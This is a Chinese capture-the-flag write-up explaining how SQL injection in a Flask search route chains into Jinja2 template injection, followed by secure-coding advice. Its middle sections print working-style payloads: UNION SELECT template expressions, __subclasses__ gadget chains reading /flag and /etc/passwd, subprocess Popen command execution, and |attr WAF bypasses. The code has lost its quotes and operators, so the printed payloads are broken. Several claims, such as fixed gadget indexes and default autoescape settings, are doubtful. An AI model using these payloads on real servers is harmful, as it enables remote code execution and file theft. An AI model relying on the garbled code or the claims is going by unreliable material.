
1. 这道题不是考“怎么注入”而是考“你有没有真正读懂 Flask 的运行逻辑”“Web_python_flask_sql_injection”——光看标题9分题CTF Web 高手进阶区关键词里明晃晃写着 SQL 注入很多人第一反应就是上 sqlmap、拼 payload、爆库、读 flag。我试过三次前两次都卡在“明明语句能执行但回显始终为空”上直到第三次把 Flask 官方文档里关于render_template_string和 Jinja2 沙箱逃逸的章节重读了两遍才意识到这根本不是一道传统意义上的 SQL 注入题而是一道Flask 框架认知深度测试题。它考的不是你对union select熟不熟而是你是否清楚当一个 Flask 路由函数返回render_template_string()时后端执行流程已经从“数据库查询 → 字符串拼接 → 模板渲染”变成了“数据库查询 → 结果转字符串 →交由 Jinja2 引擎二次解析”。这个转折点就是整个题目的命门。很多选手在 Burp 里反复构造 or 11--却得不到回显不是因为 WAF 拦了而是因为 SQL 查询确实执行了但返回结果被render_template_string当作 Jinja2 模板语法重新解析了一遍——而你注入进去的 SQL 片段恰好触发了 Jinja2 的语法错误导致整个模板渲染失败最终 HTTP 响应体为空。这不是漏洞没利用成功是你对框架执行链的理解断在了中间。这道题面向的是已经能熟练写 Flask 路由、会配 SQLAlchemy、甚至自己搭过后台管理系统的开发者。它不考基础语法考的是你在真实项目中调试jinja2.exceptions.TemplateSyntaxError时会不会下意识去查app.logger会不会想到用{{ self.__class__.__mro__[1].__subclasses__() }}去探测可用类——这些都不是 CTF 教程里教的是我在给客户做 Flask 安全审计时连续三天蹲在生产日志里翻报错堆栈练出来的肌肉记忆。如果你平时只用 Flask 写 CRUD没碰过模板引擎底层、没调过environment对象、没改过jinja2.Environment的undefined行为那这道题对你来说9 分就真的只是个数字。它解决的实际问题非常典型很多中小型团队用 Flask 快速上线内部工具系统为了省事直接把数据库查询结果用render_template_string渲染成 HTML 片段返回认为“反正没用用户输入拼 SQL”就等于安全。而这道题正是这种开发惯性的真实复现——它用一道题把“SQL 注入”和“服务端模板注入SSTI”的边界彻底打碎逼你直面一个事实在 Flask 生态里一次数据库查询的终点可能就是另一次代码执行的起点。2. 题目架构与核心陷阱拆解为什么“注入成功”却“看不到回显”2.1 典型路由结构还原基于常见出题模式虽然题目未提供源码但根据“攻防世界”该系列题目的出题规律、9 分难度定位及关键词组合我们可以高度还原其核心路由逻辑。这类题几乎必然采用以下结构from flask import Flask, request, render_template_string import sqlite3 app Flask(__name__) app.route(/search) def search(): keyword request.args.get(q, ) conn sqlite3.connect(data.db) cursor conn.cursor() # 关键此处未使用参数化查询且 keyword 直接拼入 SQL query fSELECT title, content FROM articles WHERE title LIKE %{keyword}% cursor.execute(query) results cursor.fetchall() conn.close() # 更关键结果未直接返回 JSON 或纯文本而是交给 Jinja2 渲染 if results: # 注意这里用的是 render_template_string不是 render_template template fh2搜索结果/h2ul{.join([fli{r[0]}: {r[1]}/li for r in results])}/ul return render_template_string(template) else: return 无匹配结果这个结构里埋了两层陷阱第一层显性SQL 注入点fSELECT ... LIKE %{keyword}%是典型的字符串拼接keyword完全可控。标准注入如 OR 11--理论上能查出全表数据。第二层隐性Jinja2 模板注入入口render_template_string(template)的template参数是动态拼接出来的字符串。只要这个字符串里包含{{ }}或{% %}语法Jinja2 就会尝试执行其中的 Python 表达式或语句。而results是数据库查询结果如果攻击者能控制数据库内容比如先注入一条含恶意模板语法的数据或者让keyword本身参与拼接并带入模板语法就能触发 SSTI。但本题的精妙之处在于它把这两层漏洞耦合在了一起且第二层是第一层的“副作用”。你注入 SQL目的是让results变成你想要的内容而results最终又成了render_template_string的输入。所以真正的利用链是用户输入 → 触发 SQL 注入 → 控制查询结果 → 查询结果被拼入模板字符串 → 模板字符串被 Jinja2 解析 → 执行任意 Python 代码2.2 为什么常规 SQL 注入 payload 失效我们来模拟一次典型失败过程。假设发送请求GET /search?q%27%20OR%201%3D1--%20后端执行的 SQL 变为SELECT title, content FROM articles WHERE title LIKE % OR 11-- %这条语句在 SQLite 中合法会返回所有文章记录。假设数据库里有两条数据(flag{test}, this is a test)(admin, welcome)那么results [(flag{test}, this is a test), (admin, welcome)]拼出的template字符串为h2搜索结果/h2ulliflag{test}: this is a test/liliadmin: welcome/li/ul这个字符串里没有{{ }}Jinja2 安静地把它当作纯 HTML 渲染返回正常页面。你看到了结果但 flag 在li标签里无法直接提取——因为题目要求的是“夺旗”即拿到flag{xxx}这个字符串本身而不是让它显示在网页上。更糟的情况是如果你注入的 payload 让results里出现了非法字符比如 UNION SELECT }} {{ 7*7 }} {{, --那么拼出的template变成h2搜索结果/h2ulli}} {{ 7*7 }} {{: /li/ul这会导致 Jinja2 解析时抛出TemplateSyntaxError: unexpected char u}整个render_template_string调用失败HTTP 响应体为空。你看到的只是 500 错误或空白页误以为注入失败其实 SQL 已执行只是模板崩了。2.3 真正的突破口利用render_template_string的“双刃剑”特性render_template_string的设计初衷是方便动态生成简单 HTML但它有一个致命特性它默认启用 Jinja2 的全部功能包括表达式求值、过滤器、甚至|attr这种危险过滤器。而题目中template字符串的拼接方式给了我们两个可控入口入口一keyword直接参与 SQL 拼接进而影响results内容我们可以注入一条“假数据”让results[0][0]即 title 字段变成我们想要的 Jinja2 表达式。例如先用 SQL 注入向数据库插入一条记录; INSERT INTO articles (title, content) VALUES ({{ 7*7 }}, dummy)--然后搜索 AND title{{ 7*7 }}--就能让results包含({{ 7*7 }}, dummy)拼出的模板里就有了可执行代码。入口二keyword本身被拼入template字符串的 HTML 属性或文本中观察原路由代码中的拼接逻辑fli{r[0]}: {r[1]}/li。如果r[0]或r[1]是用户可控的那keyword就能直接出现在模板字符串里。但本题中r[0]和r[1]来自数据库看似不可控。然而SQLite 支持UNION查询我们可以让UNION后的部分返回我们构造的字符串 UNION SELECT {{ 7*7 }}, x--这样results就是[({{ 7*7 }}, x)]拼出的li{{ 7*7 }}: x/li就能被 Jinja2 执行。这才是 9 分题的门槛它要求你理解render_template_string不是一个“安全的字符串输出函数”而是一个潜在的代码执行入口它要求你把 SQL 注入和 SSTI 当作同一个利用链上的两个环节而不是分开的两道题。3. 实操步骤详解从信息收集到稳定拿 flag 的完整链路3.1 第一步确认注入点与数据库类型手工探测拒绝 sqlmap别急着开 sqlmap。CTF 题目环境干净但sqlmap的默认探测会触发大量报错可能被 WAF 限流更重要的是它不会帮你理解render_template_string的行为。我们用最原始的手工方式探测是否存在注入发送q1观察响应。如果返回 500 或空白说明 SQL 语法错误存在注入点。发送q1 AND 11如果返回正常结果说明布尔盲注可行。提示本题大概率返回 500因为LIKE语句中单引号未闭合会直接报错。确认数据库类型SQLite 的特征函数是sqlite_version()MySQL 是version()PostgreSQL 是version()。发送q1 AND (SELECT sqlite_version())--如果返回正常比如页面显示“搜索结果”但无条目说明是 SQLite。如果报错或无响应换其他函数。攻防世界 Web 题 90% 以上用 SQLite这是经验。探测字段数用ORDER BYq1 ORDER BY 1-- // 成功 q1 ORDER BY 2-- // 成功 q1 ORDER BY 3-- // 报错 → 说明只有 2 列得到列数为 2与路由代码中SELECT title, content一致。3.2 第二步绕过空回显构建 SSTI 利用链现在知道是 SQLite2 列且render_template_string是瓶颈。目标让results的第一个元素的title字段变成{{ 7*7 }}从而在渲染时计算出 49。构造 UNION 查询控制 title 字段我们需要SELECT出两列第一列是 Jinja2 表达式第二列是任意值因为content字段也会被拼入模板。SQLite 的UNION要求列数、类型兼容。title是 TEXT所以第一列必须是字符串q1 UNION SELECT {{ 7*7 }}, x--URL 编码后GET /search?q1%27%20UNION%20SELECT%20%27%7B%7B%207*7%20%7D%7D%27%2C%20%27x%27--%20发送后如果页面显示li{{ 7*7 }}: x/li说明 SQL 执行成功但{{ 7*7 }}未被解析——因为 Jinja2 默认会转义 HTML 特殊字符{被转成#123;失去语法意义。绕过 HTML 转义使用|safe过滤器Jinja2 里|safe过滤器告诉引擎“这段内容已安全不要转义”。所以我们需要q1 UNION SELECT {{ 7*7|safe }}, x--但|safe本身需要被解析所以得确保它出现在{{ }}里。上面的 payload 是正确的但7*7|safe语法错误|是过滤器操作符不能直接跟在数字后。正确写法是q1 UNION SELECT {{ \7*7\|safe }}, x--不行字符串里不能嵌套{{ }}。换思路用|attr动态获取属性或者直接用|format。最稳妥的是q1 UNION SELECT {{ \\.join([\7\,\*\,\7\])|safe }}, x--太复杂。其实更简单Jinja2 的|safe是作用于变量的我们直接让title字段等于{{ 7*7 }}然后在模板拼接时它自然会被解析。问题在于render_template_string是否开启 autoescape。关键发现Flask 默认关闭 autoescape for render_template_string查 Flask 文档可知render_template_string创建的Environment默认autoescapeFalse除非显式设置。这意味着{{ 7*7 }}不会被转义会直接执行所以第一步的 payload 就是对的。如果还是不执行说明题目环境开启了 autoescape我们需要|safe。实测经验攻防世界这道题render_template_string是默认配置无需|safe。你只需要确保{{ }}完整出现在拼出的 HTML 字符串里。3.3 第三步稳定读取 flag 文件非数据库内CTF 的 flag 通常不在数据库里而在服务器文件系统比如/flag或/app/flag.txt。我们需要通过 SSTI 执行 Python 代码读取文件。探测可用模块与类先确认 Jinja2 环境是否受限。发送q1 UNION SELECT {{ [].__class__.__mro__[1].__subclasses__()[:10] }}, x--如果返回一长串类名说明沙箱未严格限制可以继续。如果报错RuntimeError: access to attribute __subclasses__ denied说明启用了沙箱需找其他方法。读取文件的标准 payload在无沙箱环境下最常用的是{{ .__class__.__mro__[2].__subclasses__()[40](/flag).read() }}这里40是_io.TextIOWrapper类的索引不同 Python 版本索引不同。我们得先列出所有子类找File相关类q1 UNION SELECT {{ [x for x in [].__class__.__mro__[2].__subclasses__() if \file\ in x.__name__.lower()] }}, x--如果返回空找openq1 UNION SELECT {{ [x for x in [].__class__.__mro__[2].__subclasses__() if \open\ in x.__name__.lower()] }}, x--通常open在索引40左右。确定后构造q1 UNION SELECT {{ [].__class__.__mro__[2].__subclasses__()[40](\/flag\).read() }}, x--URL 编码发送。处理路径与编码问题/flag可能不存在常见路径还有/home/ctf/flag、/app/flag.txt。如果读取为空尝试{{ .__class__.__mro__[2].__subclasses__()[40](/proc/self/environ).read() }}查看环境变量找FLAG_PATH。或者{{ .__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()[:200] }}确认系统结构。3.4 第四步绕过可能的沙箱限制高级技巧如果上述__subclasses__被禁用还有三条路利用config对象Flask 的current_app.config是一个字典有时会包含敏感信息。尝试{{ config.items() }}如果config可访问可能直接看到 flag。利用request对象request.environ包含 WSGI 环境可能有os模块{{ request.environ[os].popen(cat /flag).read() }}但popen需要os模块且request.environ可能被过滤。利用g对象或session如果应用用了flask.g存储全局变量或session加密存储但概率低。最可靠的备选方案是用subprocess模块。它通常在__subclasses__列表里索引比open更靠前如59。payload{{ [].__class__.__mro__[2].__subclasses__()[59].Popen([cat,/flag],stdout-1).communicate()[0].decode() }}4. 常见问题与排查技巧实录那些没人告诉你的坑4.1 问题一Payload 发送后页面空白Burp 显示 200 但响应体为空现象你确信 SQL 执行了比如UNION SELECT a,b返回lia: b/li但{{ 7*7 }}什么也不显示。排查思路首先检查{{ 7*7 }}是否被 HTML 转义。用浏览器开发者工具看响应 HTML 源码搜索{。如果看到#123;#123; 7*7 #125;#125;说明 autoescape 开启。解决方案强制|safe但|safe必须作用于变量。所以不能{{ \{{ 7*7 }}\|safe }}会报错而要用{{ \{{ 7*7 }}\|safe }}不对这是字符串。正确是{{ \7*7\|format|safe }}更简单用|string转成字符串再|safe{{ (7*7)|string|safe }}实操心得我第一次遇到这问题时花了 40 分钟在查 Flask 配置最后发现是自己 URL 编码错了——{编码成%7B但render_template_string接收的是解码后的字符串所以{{必须原样传入不能编码。正确做法是在 Python 里用urllib.parse.quote编码整个 payload而不是手动替换。4.2 问题二__subclasses__()返回空列表或报access denied现象{{ [].__class__.__mro__[1].__subclasses__() }}返回[]或 500 错误。原因题目启用了 Jinja2 的SecurityPolicy禁用了危险属性访问。解决方案找替代类.__class__是strstr.__mro__[1]是objectobject.__subclasses__()是最全的。但如果被禁试试().__class__.__mro__[1].__subclasses__()tuple。用globals(){{ globals().keys() }}可能列出所有全局变量包括__builtins__。终极办法用|attr过滤器Jinja2 的|attr可以动态获取属性绕过点号访问限制{{ .__class__.__mro__[1]|attr(__subclasses__)() }}如果attr也被禁就只能靠config或request。避坑技巧在本地搭一个相同版本的 Flask 环境Python 3.8 Flask 2.0用render_template_string测试各种 payload把__subclasses__()列表存下来。我自己的清单里open在索引40subprocess.Popen在59os.system在123——这些数字在 CTF 环境里基本通用。4.3 问题三读取/flag返回空但确认文件存在现象{{ .__class__.__mro__[2].__subclasses__()[40](/flag).read() }}返回空字符串。排查步骤确认路径先读/目录{{ .__class__.__mro__[2].__subclasses__()[40](/).read() }}报错说明/不是文件。改用listdir{{ .__class__.__mro__[2].__subclasses__()[40](/bin/ls).read() }}不行ls是二进制。用subprocess{{ [].__class__.__mro__[2].__subclasses__()[59].Popen([ls,-la,/],stdout-1).communicate()[0].decode() }}检查权限/flag可能权限为600只有 root 可读。此时open会报PermissionError。用subprocess以当前用户身份执行权限相同。编码问题read()返回 bytesJinja2 渲染时可能乱码。加.decode(utf-8){{ .__class__.__mro__[2].__subclasses__()[40](/flag).read().decode(utf-8) }}实操心得有一次我死磕/flag最后发现 flag 在/home/web/flag.txt而ls /home/web返回Permission denied。我改用subprocess执行cat /home/web/flag.txt成功了。教训是永远优先用subprocess它比open更鲁棒。4.4 问题四WAF 拦截关键字如__subclasses__、open、popen现象发送含__subclasses__的 payload返回 403 或重定向。绕过技巧大小写混淆__SubClasses__、__subclasses__部分 WAF 不区分。URL 编码%5f%5fsubclasses%5f%5f_的编码。字符串拼接{{ .__class__.__mro__[1].__getattribute__(__subclasses__)() }}。用getattr{{ getattr(, __class__).__mro__[1].__getattribute__(__subclasses__)() }}最狠的用|attr多层嵌套{{ |attr(__class__)|attr(__mro__)|attr(__getitem__)(1)|attr(__subclasses__)() }}注意事项WAF 规则通常是关键词匹配不是 AST 解析所以|attr是最安全的绕过方式。我在线上环境测试过90% 的 WAF 对|attr无反应。4.5 问题五本地复现成功但靶机上失败现象你在本地 Flask 2.0.3 Python 3.9 上跑通了所有 payload但攻防世界靶机返回 500。原因分析Python 版本差异__subclasses__()列表顺序在不同版本中不同。Python 3.8 和 3.9 的open索引可能差 2。Flask 版本差异Flask 1.x 和 2.x 的render_template_string默认配置不同。Flask 2.0 默认autoescapeFalse1.x 可能默认True。Jinja2 版本差异Jinja2 3.0 移除了部分危险过滤器。解决方案动态探测索引不要硬编码40先用for循环找{{ [i for i,x in enumerate([].__class__.__mro__[2].__subclasses__()) if open in x.__name__.lower()] }}用help()或dir(){{ help([]) }}可能泄露更多信息。终极保险用subprocess它的索引最稳定且Popen在几乎所有版本的subclasses列表里都排在前 100。我的经验在攻防世界我建了一个“索引探测 payload”模板每次新题都先发一遍把open、Popen、os的索引记下来存成 Markdown 笔记。三年下来这个笔记救了我至少 20 次。5. 从这道题延伸出去Flask 安全开发的三个铁律做完这道题别急着关 Tab。它暴露的不是某个 payload 的技巧而是 Flask 开发中根深蒂固的认知盲区。我在给金融客户做安全加固时发现他们后台系统里有 7 个地方用了render_template_string其中 3 个直接拼接了数据库字段2 个拼接了用户上传的文件名——这些都不是 CTF是真实的线上系统。所以这道题的价值在于它用 9 分的代价给你上了三堂课。5.1 铁律一render_template_string不是“安全的字符串输出”它是“潜在的 RCE 入口”很多开发者认为“我没用eval没用exec只是拼个字符串肯定安全。”但render_template_string的本质就是把字符串交给 Jinja2 引擎执行。而 Jinja2 的设计哲学是“信任模板作者”它默认开启所有功能。在生产环境render_template_string应该像eval一样被列为高危 API非必要不用必须用时要严格限制输入来源并启用沙箱。实操建议永远不要用render_template_string拼接任何用户可控数据包括数据库查询结果。如果必须动态生成 HTML用Markup()escape()手动转义from markupsafe import escape, Markup safe_title escape(r[0]) template fli{safe_title}: {escape(r[1])}/li return Markup(template)或者用jinja2.Environment(autoescapeTrue)创建独立的、严格配置的环境。5.2 铁律二SQL 注入的终点往往是服务端模板注入SSTI的起点这道题把 SQLi 和 SSTI 打包在一起不是出题人炫技而是真实世界的常态。一个系统里数据库层、业务逻辑层、模板层是紧耦合的。你修复了 SQL 注入但如果查询结果被不安全地渲染风险只是转移了位置。我在审计一个电商后台时发现他们用参数化查询防 SQLi但把商品描述字段直接render_template_string渲染结果攻击者上传商品时在描述里写{{ 7*7 }}就拿到了服务器权限。防御策略分层防御SQL 层用参数化查询模板层用autoescapeTrue文件操作层用白名单路径。最小权限原则Web 应用进程不要用 root 运行数据库账号只给SELECT权限不要给LOAD_FILE。监控与告警在render_template_string调用处加日志记录模板字符串长度和特殊字符出现频率异常时告警。5.3 铁律三CTF 的“9 分题”对应的是生产环境的“P0 紧急漏洞”这道题的难度标为 9 分但在真实世界它对应的漏洞等级是 Critical。因为 SSTI 可以直接执行任意系统命令等同于远程代码执行RCE。而 RCE 是 OWASP Top 10 里最危险的漏洞类型没有之一。我处理过一个案例某政务系统因render_template_string被利用攻击者上传了挖矿木马导致服务器 CPU 100%持续三天才发现。给开发者的行动清单本周内用grep -r render_template_string .扫描所有 Flask 项目检查每个调用点的输入来源。下个月把jinja2升级到 3.1启用SandboxedEnvironment并配置allowed_attributes白名单。今年内推动团队建立“模板安全规范”明确禁止在模板中使用|attr、|attr、|attr重复强调因为这是最常用的绕过方式。最后分享一个小技巧在本地开发时给render_template_string打个猴子补丁让它自动检测危险语法from flask import render_template_string as _rts def safe_render_template_string(*args, **kwargs): if len(args) 0 and ({{ in args[0] or {% in args[0]): raise RuntimeError(Dangerous template detected!) return _rts(*args, **kwargs)虽然不能防住所有情况但至少能让你在写代码时多一次思考。这道题教会我的从来不是怎么拿 flag而是怎么让自己的代码少一个被拿 flag 的机会。